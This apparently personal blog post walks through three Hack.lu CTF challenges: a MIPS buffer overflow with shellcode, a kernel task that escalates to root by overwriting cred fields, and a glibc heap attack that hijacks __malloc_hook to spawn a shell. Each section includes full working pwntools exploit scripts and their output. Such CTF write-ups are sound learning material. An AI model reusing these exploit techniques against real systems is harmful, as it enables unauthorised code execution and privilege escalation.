Hack.lu is such a wonderful CTF, I really enjoyed solving baby kernel which is a kernel exploitation challenge. During the CTF I solved two challenges, but after the CTF I solved Tcalc which is an interesting heap exploitation challenge. I desperately wanted to solve Teen Kernel challenge which is somewhat advanced than baby kernel, but exams are coming and I have to prepare for those will try to solve and write a blog about Kernel Exploitation after the completion of my exams.π
1. No Risc, No Future
2. Baby Kernel 2
3. TCalc
No Risc, No Future
It is a simple buffer overflow challenge, but it's in RISC Architecture SET. We are given a MIPS ELF and Qemu. I don't know much about RISC Architecture and never solved challenges related to RISC.
$file no_risc_no_future
no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=8d9728e98717452e43b6e32ff3e19002c7fa2d5d, not stripped
$checksec no_risc_no_future
[*] './no_risc_no_future'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
We can see that it has Canary Enabled which means we need to leak the canary to bypass canary check, NX is disabled which means stack is executable, PIE is disabled.
Vulnerable Code
The program ask for user input and prints it, it does the same thing for ten times.
0x004005e0 <+0>: addiu sp,sp,-104
0x004005e4 <+4>: sw ra,100(sp)
0x004005e8 <+8>: sw s8,96(sp)
0x004005ec <+12>: move s8,sp
0x004005f0 <+16>: lui gp,0x4a
0x004005f4 <+20>: addiu gp,gp,-32000
0x004005f8 <+24>: sw gp,16(sp)
=> 0x004005fc <+28>: lw v0,-32712(gp)
0x00400600 <+32>: lw v0,0(v0)
0x00400604 <+36>: sw v0,92(s8)
0x00400608 <+40>: sw zero,24(s8)
0x0040060c <+44>: b 0x400660
0x00400610 <+48>: nop
0x00400614 <+52>: addiu v0,s8,28
0x00400618 <+56>: li a2,256
0x0040061c <+60>: move a1,v0
0x00400620 <+64>: move a0,zero
0x00400624 <+68>: lw v0,-32620(gp)
0x00400628 <+72>: move t9,v0
0x0040062c <+76>: bal 0x41d2c0 <__read>
There is clear buffer overflow in the above mips assembly, stack pointer is decreased to -104 to make space for local variables in main functions. But if you see at <+76> read call is taken place with buffer size 256(li a2, 256) which is clear a buffer overflow.
Plan to Exploit
We have to exploit the program in less than 10 steps.1. Leak the canary
2. Leak the Frame Pointer of previous stack
3. Push the shell code right after the return which is nothing but from the previous stack frame pointer
4. Overwrite the return address with frame pointer of previous stack
5. Write Canary
6-10. Do Nothing, Shell pops
python exp.py
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
[*] canary 0xaa13a400
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaabcde
[*] Frame Pointer 0x7ffffd30
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0��Ps$\xff\xff�Ps\x0f$\xff\xff\x06(���'��\x0f$'x�! ��\xff\xa4\xaf���\xaf���#\xab\x0f$\x0c/bin/sh
[*] Switching to interactive mode
$
/chall $
/chall $ $ ls
ls
flag no_risc_no_future qemu-mipsel-static
/chall $ $ cat flag
cat flag
flag{indeed_there_will_be_no_future_without_risc}/chall $ [*] Got EOF while reading in interactive
$
Exploit
from pwn import *
shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00"
p = remote('noriscnofuture.forfuture.fluxfingers.net',1338)
#get canary
payload = 'a'*60+'bbbb'+'c' #overwrite null byte of canary so that puts wont stop printing
p.send(payload)
canary = p.recv()
canary = '\x00'+canary[canary.find('bbbbc')+5:canary.find('bbbbc')+5+3] #add overwritten nullbyte to canry
canary = u32(canary)
info('canary %s'%hex(canary))
#get frame pointer
payload = 'a'*64
payload += 'b'*4 #canary
payload += 'b'*4 #shit
payload += 'a'*4 #return address
payload += 'a'*6*4+'bcde' #frame pointer offset
print(payload)
p.send(payload)
fp = p.recv()
fp = fp[fp.find('bcde')+4 : fp.find('bcde')+8]
fp = u32(fp)
info("Frame Pointer %s"%hex(fp))
#store shell after return and overwrite return address with frame pointer
payload = 'a'*72 #pad for return
payload += p32(fp)# overwrite with frame pointer
payload += shellcode #frame pointer location
p.send(payload)
print(p.recv())
#write canary
payload = 'a'*64
payload += p32(canary) #write canary
for i in range(7): #wait for program to complete loops
p.send(payload)
p.recv()
p.interactive() #shell pops
I really loved solving this challenge, cuz I wrote the exploit code and when I ran it for first time I got the shell, its an awe movement for me.
Baby Kernel
Its the first time I am doing a kernel exploitation challenge, as the name suggests its an easy kernel exploitation challenge, but it took lot of time for me to exploit, cuz I don't know nothing about kernel exploitation. We are given below files
$ ls
bzImage initramfs.cpio.gz run.sh System.map vmlinux
vmlinux which is an uncompressed kernel image, bzImage compressed one, System.map which is a symbol table for kernel, initramfs.cpio.gz which is used to mount root file system.
If we run the kernel, after the boot it runs client_baby_kernel_2 executable which has arbitrary read/write in the kernel with kernel module name kernel_baby_2.ko.
Exploit
$./run.sh
Linux version 4.19.77 (sceptic@sceptic-arch) (gcc version 9.2.0 (GCC)) #2 PREEMPT Fri Oct 11 00:50:19 CEST 2019
Command line: console=ttyS0 init='/init'
x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
x86/fpu: Supporting XSAVE feature 0x008: 'MPX bounds registers'
---------------------------------------------------------------
--------------------------------------------------------------
Run /init as init process
kernel_baby_2: loading out-of-tree module taints kernel.
flux_baby_2 says hi there!
input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
tsc: Refined TSC clocksource calibration: 2394.324 MHz
clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x228345be6ee, max_idle_ns: 440795275992 ns
clocksource: Switched to clocksource tsc
flux_baby_2 opened
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
>3
uid=1000(user) gid=1000(user) groups=1000(user)
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 4
Which file are we trying to read?
> /flag
Could not open file for reading...
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
>
To solve this challenge we need to read a file named /flag which can only be accessed by root, so we need to somehow escalate to root.
Little Understanding of kernel
Each process has a struct called task_struct which is stored in kernel space, this structure contains a lot of information related to the process like scheduling information, memory descriptor(mm_struct) which has information about programs memory, parent process, linked list of child process, next task and more importantly it has a pointer to process privileges which is a structure named cred. So our task is to overwrite the identifiers( uid, gid, group id, fsuid, fsgid) to 0 which is nothing but a process with root privileges.
$ ptype /o struct task_struct
/* offset | size */ type = struct task_struct {
/* 0 | 16 */ struct thread_info {
/* 0 | 8 */ unsigned long flags;
/* 8 | 4 */ u32 status;
/* XXX 4-byte padding */
------------------------------------------------
/* 1016 | 8 */ const struct cred *real_cred;
/* 1024 | 8 */ const struct cred *cred; // structure which holds our process priveleges
/* 1032 | 16 */ char comm[16];
$#Lets see the cred structure
$ptype /o struct cred
/* offset | size */ type = struct cred {
/* 0 | 4 */ atomic_t usage;
/* 4 | 4 */ kuid_t uid;
/* 8 | 4 */ kgid_t gid;
/* 12 | 4 */ kuid_t suid;
/* 16 | 4 */ kgid_t sgid;
/* 20 | 4 */ kuid_t euid;
/* 24 | 4 */ kgid_t egid;
/* 28 | 4 */ kuid_t fsuid;
/* 32 | 4 */ kgid_t fsgid;
/* 36 | 4 */ unsigned int securebits;
/* 40 | 8 */ kernel_cap_t cap_inheritable;
/* 48 | 8 */ kernel_cap_t cap_permitted;
/* 56 | 8 */ kernel_cap_t cap_effective;
/* 64 | 8 */ kernel_cap_t cap_bset;
/* 72 | 8 */ kernel_cap_t cap_ambient;
/* 80 | 8 */ struct user_struct *user;
/* 88 | 8 */ struct user_namespace *user_ns;
/* 96 | 8 */ struct group_info *group_info;
/* 104 | 16 */ union {
/* 4 */ int non_rcu;
/* 16 */ struct callback_head {
/* 104 | 8 */ struct callback_head *next;
/* 112 | 8 */ void (*func)(struct callback_head *);
/* total size (bytes): 16 */
} rcu;
/* total size (bytes): 16 */
};
/* total size (bytes): 120 */
}
Exploit
from pwn import *
#elf = ELF("./vmlinux")
def read(addr):
r.sendlineafter("> ",str(1))
r.sendlineafter("> ",str(addr))
a = r.recvuntil("Bye!")
a= "0x"+a[a.find("is: ")+4:a.find("is: ")+20]
return a
def write(addr,val):
r.sendlineafter("> ",str(2))
r.sendlineafter("> ",str(addr))
r.sendlineafter("> ",str(val))
def show_uid():
r.sendlineafter("> ",str(3))
print(r.recv())
#current_task = elf.sym['current_task']
current_task=0xffffffff8183a040 #pointer to current_task struct obtained from System.map
r = remote("babykernel2.forfuture.fluxfingers.net", 1337)
cred_offset = 0x400 #cred struct offset
group_offset = 0x60 #group struc offset
#Exploit
init_task = read(hex(current_task))
info("init_task struct addr %s"%init_task)
#read cred* struct
cred = int(init_task,16)+cred_offset
cred_struct = read(hex(cred))
cred = int(cred_struct,16)
info("cred struct addr %s"%hex(cred))
uid = cred+0x4
gid = cred+0x8
info("gid addr %s"%hex(gid))
info("uid addr %s"%hex(uid))
#overwrite all ids to 0
for i in range(1,9):
off = i*0x4
tmp = cred+off
write(hex(tmp),str(0))
#write(hex(uid),0)
#write(hex(gid),0)
show_uid()
#overwrite group
group = cred + group_offset
group_struct = read(hex(group))
info("group_info struct %s"%group_struct)
group_id = int(group_struct,16)+0x8
info("group_id %s"%hex(group_id))
write(hex(group_id),0)
show_uid()
r.sendlineafter("> ",str(4))
r.sendlineafter("> ","/flag")
print(r.recv())
r.interactive()
Such a nice introduction challenge to kernel exploitation, I will try to solve teen kernel after my exams and will write more about kernel exploitation.
TCalc
Here comes my favourite challenge, I couldn't solve it during the CTF.Vulnerability
We are given with a ELF file and its source code also. I thought that it may be a easy challenge because the author provided the source code which is not common in CTFs. Lets check some basic thing
$checksec chall
[*] './chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./chall
------------------
What do?
1) get numbers
2) print_average
3) delete_numbers
>1
How many values do you want to enter?
>2
1
2
------------------
What do?
1) get numbers
2) print_average
3) delete_numbers
>3
delete at which idx?
>0
------------------
What do?
1) get numbers
2) print_average
3) delete_numbers
The functionality of the ELF is, there is a double-pointer array called numbers of length 10 allocated on the heap, we can store n values by allocating calloc(n+1,sizeof(long int*)) and the n is stored at 0th position on the heap and its pointer is stored in numbers at index i. We can free allocated numbers by giving the index value. We can find the average of values at given index.
Most of the protections in place. Let's analyze the source code download if you want from here chall.c.
Try if you can find the vuln here.
void print_average(long int **data){
int idx = 0;
long int sum = 0;
printf("average at which idx?\n>");
idx = get_num();
/* security */
if(!(0 <= idx < ARR_LEN) || data[idx] == NULL){exit(0);}
/* Sum up all values and divide them by the number of values */
for(int i = 1; i < (data[idx][0] + 1); i++){
sum += data[idx][i];
}
printf("The average is: %lf\n",(double)sum / data[idx][0]);
}
void delete_numbers(long int ** numbers){
int idx;
printf("delete at which idx?\n>");
idx = get_num();
/* security */
if(0 <= idx < ARR_LEN && numbers[idx] != NULL){
free(numbers[idx]);
/* security! */
numbers[idx] = NULL;
} else {
printf("Try harder, lil fella\n");
}
}
gdb$ disass delete_numbers
Dump of assembler code for function delete_numbers:
0x00000000000013df <+0>: push rbp
0x00000000000013e0 <+1>: mov rbp,rsp
0x00000000000013e3 <+4>: sub rsp,0x20
0x00000000000013e7 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00000000000013eb <+12>: lea rdi,[rip+0xc7d] # 0x206f
0x00000000000013f2 <+19>: mov eax,0x0
0x00000000000013f7 <+24>: call 0x1060
0x00000000000013fc <+29>: mov eax,0x0
0x0000000000001401 <+34>: call 0x11b9 # take idx
0x0000000000001406 <+39>: mov DWORD PTR [rbp-0x4],eax
0x0000000000001409 <+42>: mov eax,DWORD PTR [rbp-0x4]
0x000000000000140c <+45>: cdqe
0x000000000000140e <+47>: lea rdx,[rax*8+0x0]
0x0000000000001416 <+55>: mov rax,QWORD PTR [rbp-0x18]
0x000000000000141a <+59>: add rax,rdx
0x000000000000141d <+62>: mov rax,QWORD PTR [rax]
0x0000000000001420 <+65>: test rax,rax #Check if value at given idx is NUll if jump wait where is the index check
0x0000000000001423 <+68>: je 0x1461
0x0000000000001425 <+70>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001428 <+73>: cdqe
0x000000000000142a <+75>: lea rdx,[rax*8+0x0]
0x0000000000001432 <+83>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000001436 <+87>: add rax,rdx
0x0000000000001439 <+90>: mov rax,QWORD PTR [rax]
0x000000000000143c <+93>: mov rdi,rax
0x000000000000143f <+96>: call 0x1030
0x0000000000001444 <+101>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001447 <+104>: cdqe
0x0000000000001449 <+106>: lea rdx,[rax*8+0x0]
0x0000000000001451 <+114>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000001455 <+118>: add rax,rdx
0x0000000000001458 <+121>: mov QWORD PTR [rax],0x0
0x000000000000145f <+128>: jmp 0x146d
0x0000000000001461 <+130>: lea rdi,[rip+0xc1e] # 0x2086
0x0000000000001468 <+137>: call 0x1040
0x000000000000146d <+142>: nop
0x000000000000146e <+143>: leave
0x000000000000146f <+144>: ret
End of assembler dump.
I actually did a mistake by analyzing the source code, cuz I couldn't find the vulnerability but it is there. And then if we check the assembly,
if(0 <= idx < ARR_LEN && numbers[idx] != NULL)there is no
0 <= idx < ARR_LENcheck. Wait what happened, so weird why compiler removed those instructions. If we clearly see the check
0 <= idx < ARR_LEN, this wont work in C like python. Compiler look at this statement in a different way like this
(0 <= idx) < ARR_LENwhich is always True. Then there is nothing wrong in removing this instruction. This was cleared to me by Sceptic(Challenge Author). As we need to give index value to do free and find average of value, because of the above bad coding practice we can give any index we wanted. As numbers array is also stored on the heap, we can do arbitrary read and free at the address we wanted by adding a proper offset to index which points to address of our choice.
Exploit Plan
- Leak the Heap Base
- As the remote server is running on GLIBC_2.30, tcache will be there. The idea of leaking the heap base is we free some chunks and there will be fd and bk pointers on the heap, we use our print_average and by adding the proper offset to the index we can point it to one of fd of next free chunk which gives us the leak. But there is a problem tcache fd points to data section not to the chunk head which makes count value very big because there will be an fd of next chunk. So we will use fastbins.
- We alloc 10 chunks of same size and free them, 7 will be in tcache 3 will be in fastbin.
- With the Heap Base, Leak the Libc Base
- Tcache and fastbins dont have a pointer to the main arena, but unsorted bin has. So we alloc chunk of size 0x408 and will free it, and using our heap base we find the proper index which points right before the unsorted bin fd which gives us the leak
- As we have libc base and heap base, we can do fast bin corruption attack.
- We overwrite __malloc_hook with system address to do that we overwrite one of fastbin fd to point __malloc_chunk and to free that there should be a size of fastbin chunk at __malloc_hook we have one 0x7f at libc.symbols['__malloc_hook'] - 0x23] so we can free it.
- So we free 7 0x70 chunks and they will be in tcache and one more chunk which will be in fastbin, then we free a fake overlapping chunk right before fast bin chunk and overwrite fd with __malloc_hook-0x23, and then we free 2 chunks and 3 one will be at malloc_hook and we overwrite with system address (we need to properly calculate values to make up system address as we need to store long long int integers).
- As we overwrote malloc_hook with system address while doing next allocation there should be an 8 byte aligned address to "/bin/sh\x00" or "sh" in rdi.
bytes = n * elem_size;
void *(*hook) (size_t, const void *) =
atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
{
sz = bytes;
mem = (*hook)(sz, RETURN_ADDRESS (0));
if (mem == 0)
return 0;
return memset (mem, 0, sz);
}
As we see __malloc_hook will be called on n*elem_size, so if we give str((libc_base+binsh)//8 rdi will point to /bin/sh thats it. We popped the shell.
Exploit Code
from pwn import *
import re
elf = ELF("./chall")
context.arch = 'amd64'
def get_numbers(num, val):
p.sendlineafter(">",str(1))
p.sendlineafter(">",str(num))
for i in val:
p.sendline(str(i))
def print_average(idx):
p.sendlineafter(">",str(2))
p.sendlineafter(">",str(idx))
return p.recvuntil("---")
def delete_numbers(idx):
p.sendlineafter(">",str(3))
p.sendlineafter(">",str(idx))
if args.REM:
p = remote("tcalc.forfuture.fluxfingers.net",1337)
libc = ELF("./libc.so.6")
else:
p = process("./chall")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
gdb.attach(p,"""
""")
#LEAK
offset_numbers = (0x000055555555a2d0-0x555555559260)//8
offset_libc = (0x55555555b360-0x555555559260)//8 +1
main_arena_offset = 0x1e4c40
main_arena = 0x1c09e0
for addr in libc.search("sh"):
if addr%8 == 0:
binsh = addr
for i in range(10):
get_numbers(2,[2,2])
for i in range(10):
delete_numbers(i)
#heap leak
leak_offset = offset_numbers + 36 #offset to last fastbin bin which points to previously freed bin head which has leak
leak = print_average(leak_offset)
heap = int(re.findall(r'\d+',leak)[0])*2 - 0x13c0 #heap base addr
info("Heap Base %s"%hex(heap))
#Leaking LIBC
#get a unsorted bin
get_numbers(500,['a']) #1
get_numbers(2,[heap+0x13a0,2]) #2
delete_numbers(0)
print(offset_libc)
libc_leak = print_average(offset_libc)
libc_main_arena = int(re.findall(r'\d+',libc_leak)[0])*2-0xfb0 #main_arena +96
libc_main_arena = libc_main_arena - 96
libc_base = libc_main_arena - main_arena_offset
info("Libc Base %s"%hex(libc_base))
#clean up the heap
delete_numbers(1)
#fastbin corruption attack
get_numbers(2,[2, heap+0x13c0])
get_numbers(2,[0x71,0x71])
get_numbers(0x60//8,[0x21 for i in range(0x60//8)] )
#Fill up tcache 0x60
for i in range(7):
get_numbers(0x60/8,['a'])
delete_numbers(3)
delete_numbers(2)
delete_numbers((0x55555555b370-0x555555559260)/8)
get_numbers(12, [0x71,libc_base +libc.symbols['__malloc_hook'] - 0x23] +[0]*10)
get_numbers(12,[0]*12)
get_numbers(12,[0x71, -2285610601545728, 0x7f] +[0x0]*9)
raw_input("")
p.sendlineafter(">",str(1))
p.sendlineafter(">",str((libc_base+binsh)//8-1))
p.interactive()
Comments
Post a Comment